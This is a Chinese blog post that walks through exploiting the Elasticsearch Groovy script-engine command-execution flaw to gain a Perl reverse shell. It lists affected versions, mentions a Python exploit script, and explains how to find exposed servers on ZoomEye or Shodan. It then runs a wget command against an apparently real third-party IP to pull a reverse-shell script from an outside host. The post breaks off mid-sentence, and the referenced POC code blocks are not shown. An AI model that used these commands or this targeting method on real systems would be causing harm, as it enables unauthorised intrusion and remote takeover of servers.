ElasticSearch命令执行漏洞：通过perl进行反弹shell

我是攻城师

发布于 2018-05-11 17:35:52

2.7K0

发布于 2018-05-11 17:35:52

ElasticSearch是一个基于Lucene的搜索服务器。它提供了一个分布式多用户能力的全文搜索引擎，基于RESTful web接口。Elasticsearch是用Java开发的，并作为Apache许可条款下的开放源码发布，是第二最流行的企业搜索引擎。设计用于云计算中，能够达到实时搜索，稳定，可靠，快速，安装使用方便。目前网络公开部署Elasticsearch大概有数万台服务器，内部网络部署就不计其数了。Elasticsearch用了两个危险性的脚本MVEL和Groovy。2014年5月MVEL爆出来命令执行漏洞，这次轮到Groovy了，Elasticsearch 1.3.0-1.3.7 和 1.4.0-1.4.2 的Groovy 脚本引擎存在漏洞。这个漏洞允许攻击者构造Groovy脚本绕过沙箱检查执行shell命令，已修复的版本是Elasticsearch 1.3.8 和 1.4.3。这个漏洞不亚于Java Struct执行命令漏洞，对与Linux和Windows平台都适用，在实际测试中也有授权为最高权限root或者system权限的，可以获取webshell和最高系统权限。

受影响版本：

cpe:/a:elasticsearch:elasticsearch:1.4.2

cpe:/a:elasticsearch:elasticsearch:1.4.0

cpe:/a:elasticsearch:elasticsearch:1.3.7

cpe:/a:elasticsearch:elasticsearch:1.4.0:beta1

cpe:/a:elasticsearch:elasticsearch:1.4.1

(一)可利用POC

目标地址http://www.antian365.com:9200/_search?pretty

POST提交以下数据

(二)perl可利用poc代码

将以下代码保存为ElasticSearch.py，执行python ElasticSearch.py http://www.antian365.com:9200/ " cat /etc/issue " 即可执行命令。需要执行其它命令替换“cat /etc/issue”命令即可。

(三)通过perl脚本利用该0day获取权限思路

需要在公网IP准备一个pl的反弹脚本，例如back.pl，可以将脚本文件伪装为jpg文件上传到网站然后下载。例如www.antian365.com/lab/linux0day/back.pl.txt。然后依次执行以下命令即可。

说明：

(1)www.antian365.com为被攻击目标的IP或者域名，IP地址123.123.123.123为公网独立IP，80端口为该服务器未开放端口。

(2)有部分服务器由于未安装perl环境，因此有可能执行命令失败。

(四)实战案例

(1)搜索目标对象

通过http://www.zoomeye.org/或者shodanhq.com搜索“ElasticSearch”关键词，直接访问网站地址http://www.zoomeye.org/search?q=ElasticSearch&t=host即可获取结果。在该结果中可以看到各个国家使用该软件的分布情况。随机选择一个IP进行，本例选择第一个IP地址http://192.241.225.207/，同时单击IP地址右上角的一个小图框连接地址，例如打开地址http://192.241.225.207:9200/进行访问，确认该IP地址是否存活。

图1 搜索目标对象

(2)执行命令

直接执行python ElasticSearch.py http:// 192.241.225.207/ "/usr/bin/wget www.antian365.com/lab/linux0day/back.pl.txt -O /tmp/back.pl" 命令，但反馈结果为“HTTP Error 500: Internal Server Error”，如图2所示。

再次使用FireFox便携版本进行测试，输入目标地址http://192.241.225.207:9200/_search?pretty，在Post data中输入